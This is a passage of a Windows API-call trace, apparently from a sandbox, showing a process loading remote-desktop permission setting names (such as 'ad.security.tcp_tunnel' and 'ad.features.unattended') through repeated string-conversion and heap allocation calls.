returned 0xe323f8 [0190.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0e0, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=28 | out: lpWideCharStr="ad.security.clipboard.files") returned 28 [0190.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe324f8 [0190.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32578 [0190.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33cd8 [0190.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32638 [0190.223] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32578 | out: hHeap=0x3b0000) returned 1 [0190.223] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0fc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0190.223] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f5d0 [0190.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0fc, cbMultiByte=-1, lpWideCharStr=0xe0f5d0, cchWideChar=24 | out: lpWideCharStr="ad.security.block_input") returned 24 [0190.223] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f640 [0190.223] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f6b0 [0190.223] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33cf8 [0190.223] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f330 [0190.223] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f6b0 | out: hHeap=0x3b0000) returned 1 [0190.224] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f5d0 | out: hHeap=0x3b0000) returned 1 [0190.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe114, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0190.224] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32f88 [0190.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe114, cbMultiByte=-1, lpWideCharStr=0xe32f88, cchWideChar=20 | out: lpWideCharStr="ad.security.restart") returned 20 [0190.224] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33018 [0190.224] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32fe8 [0190.224] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33d18 [0190.224] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33078 [0190.224] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32fe8 | out: hHeap=0x3b0000) returned 1 [0190.225] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f88 | out: hHeap=0x3b0000) returned 1 [0190.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe128, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0190.225] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe323f8 [0190.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe128, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=25 | out: lpWideCharStr="ad.security.file_manager") returned 25 [0190.225] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32578 [0190.225] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe325f8 [0190.225] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33d38 [0190.225] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe326b8 [0190.225] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe325f8 | out: hHeap=0x3b0000) returned 1 [0190.226] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe144, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0190.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe323f8 [0190.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe144, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=25 | out: lpWideCharStr="ad.security.lock_account") returned 25 [0190.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe325f8 [0190.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32678 [0190.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33d58 [0190.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32738 [0190.227] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32678 | out: hHeap=0x3b0000) returned 1 [0190.227] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0190.227] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32f88 [0190.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe160, cbMultiByte=-1, lpWideCharStr=0xe32f88, cchWideChar=20 | out: lpWideCharStr="ad.security.sysinfo") returned 20 [0190.227] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32fe8 [0190.227] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33048 [0190.227] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33d78 [0190.227] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe330a8 [0190.228] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0190.228] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f88 | out: hHeap=0x3b0000) returned 1 [0190.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe174, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.228] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f5d0 [0190.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe174, cbMultiByte=-1, lpWideCharStr=0xe0f5d0, cchWideChar=23 | out: lpWideCharStr="ad.security.whiteboard") returned 23 [0190.228] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f6b0 [0190.228] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02460 [0190.228] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33d98 [0190.228] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02498 [0190.229] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02460 | out: hHeap=0x3b0000) returned 1 [0190.229] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f5d0 | out: hHeap=0x3b0000) returned 1 [0190.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe18c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.229] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f5d0 [0190.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe18c, cbMultiByte=-1, lpWideCharStr=0xe0f5d0, cchWideChar=23 | out: lpWideCharStr="ad.security.tcp_tunnel") returned 23 [0190.229] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02460 [0190.229] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe024d0 [0190.229] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33db8 [0190.230] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02508 [0190.230] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe024d0 | out: hHeap=0x3b0000) returned 1 [0190.231] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f5d0 | out: hHeap=0x3b0000) returned 1 [0190.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.231] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0190.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1a4, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=16 | out: lpWideCharStr="ad.security.vpn") returned 16 [0190.231] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe113c0 [0190.231] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11438 [0190.231] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33dd8 [0190.231] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11410 [0190.232] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.232] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0190.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe323f8 [0190.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1b4, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=25 | out: lpWideCharStr="ad.security.user_pointer") returned 25 [0190.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32678 [0190.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe326f8 [0190.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33df8 [0190.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe327b8 [0190.233] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe326f8 | out: hHeap=0x3b0000) returned 1 [0190.233] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0190.233] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe323f8 [0190.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1d0, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=28 | out: lpWideCharStr="ad.security.privacy_feature") returned 28 [0190.233] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe326f8 [0190.234] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32778 [0190.234] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33e18 [0190.234] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32838 [0190.234] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32778 | out: hHeap=0x3b0000) returned 1 [0190.234] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0190.234] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe323f8 [0190.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe1ec, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=27 | out: lpWideCharStr="ad.security.record_session") returned 27 [0190.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32778 [0190.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe327f8 [0190.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33e38 [0190.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32878 [0190.235] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe327f8 | out: hHeap=0x3b0000) returned 1 [0190.235] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d0c14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f5d0 [0190.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d0c14, cbMultiByte=-1, lpWideCharStr=0xe0f5d0, cchWideChar=23 | out: lpWideCharStr="ad.features.unattended") returned 23 [0190.236] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe024d0 [0190.236] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02540 [0190.236] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33e58 [0190.236] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02578 [0190.236] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02540 | out: hHeap=0x3b0000) returned 1 [0190.236] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f5d0 | out: hHeap=0x3b0000) returned 1 [0190.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe208, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0190.236] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0xe1f8e0 [0190.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe208, cbMultiByte=-1, lpWideCharStr=0xe1f8e0, cchWideChar=56 | out: lpWideCharStr="ad.security.permission_profiles.enable_previous_session") returned 56 [0190.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0xe1fa48 [0190.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0xe1f520 [0190.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33e78 [0190.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0xe1f9d0 [0190.237] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f520 | out: hHeap=0x3b0000) returned 1 [0190.237] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f8e0 | out: hHeap=0x3b0000) returned 1 [0190.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fcf08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0190.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x66) returned 0xe20e80 [0190.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fcf08, cbMultiByte=-1, lpWideCharStr=0xe20e80, cchWideChar=51 | out: lpWideCharStr="ad.security.permission_profiles.address_to_profile") returned 51 [0190.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x66) returned 0xe20fd0 [0190.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x66) returned 0xe20390 [0190.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe02130 [0190.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x66) returned 0xe20da0 [0190.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe02cc0 [0190.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x66) returned 0xe20f60 [0190.238] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20da0 | out: hHeap=0x3b0000) returned 1 [0190.239] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20fd0 | out: hHeap=0x3b0000) returned 1 [0190.239] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe02150 [0190.239] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20e80 | out: hHeap=0x3b0000) returned 1 [0190.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe240, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0190.239] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe15de0 [0190.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe240, cbMultiByte=-1, lpWideCharStr=0xe15de0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.invitation") returned 43 [0190.239] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe16020 [0190.239] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe155a0 [0190.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe02190 [0190.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe15f00 [0190.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe02ce0 [0190.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe16080 [0190.240] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f00 | out: hHeap=0x3b0000) returned 1 [0190.241] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16020 | out: hHeap=0x3b0000) returned 1 [0190.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021a0 [0190.241] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0190.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe26c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0190.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f808 [0190.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe26c, cbMultiByte=-1, lpWideCharStr=0xe2f808, cchWideChar=33 | out: lpWideCharStr="ad.security.permission_profiles.") returned 33 [0190.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f858 [0190.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe02d00 [0190.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f8a8 [0190.242] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f858 | out: hHeap=0x3b0000) returned 1 [0190.242] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f808 | out: hHeap=0x3b0000) returned 1 [0190.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fecf4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0190.242] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02d20 [0190.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fecf4, cbMultiByte=-1, lpWideCharStr=0xe02d20, cchWideChar=9 | out: lpWideCharStr="_default") returned 9 [0190.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0190.242] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12c58 [0190.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6d8, cbMultiByte=-1, lpWideCharStr=0xe12c58, cchWideChar=40 | out: lpWideCharStr="ad.security.permission_profiles.define.") returned 40 [0190.242] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021b0 [0190.242] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.242] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02d40 [0190.242] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021b0 | out: hHeap=0x3b0000) returned 1 [0190.242] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02d60 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02d80 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02da0 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02dc0 [0190.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02d60 | out: hHeap=0x3b0000) returned 1 [0190.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02d40 | out: hHeap=0x3b0000) returned 1 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021b0 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe32f88 [0190.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021b0 | out: hHeap=0x3b0000) returned 1 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33048 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02d40 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe330d8 [0190.243] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33108 [0190.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0190.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f88 | out: hHeap=0x3b0000) returned 1 [0190.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021b0 [0190.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0190.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021b0 | out: hHeap=0x3b0000) returned 1 [0190.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11438 [0190.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02d60 [0190.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11460 [0190.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11488 [0190.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021b0 [0190.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe14c40 [0190.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021b0 | out: hHeap=0x3b0000) returned 1 [0190.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11438 [0190.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02de0 [0190.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe114b0 [0190.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe114d8 [0190.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.245] GetCurrentProcess () returned 0xffffffff [0190.245] GetProcessId (Process=0xffffffff) returned 0x994 [0190.245] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324448 | out: pSessionId=0x324448) returned 1 [0190.245] GetCurrentProcess () returned 0xffffffff [0190.245] GetProcessId (Process=0xffffffff) returned 0x994 [0190.246] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324448 | out: pSessionId=0x324448) returned 1 [0190.246] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c58 | out: hHeap=0x3b0000) returned 1 [0190.246] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021b0 [0190.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0190.246] RtlAllocateHeap 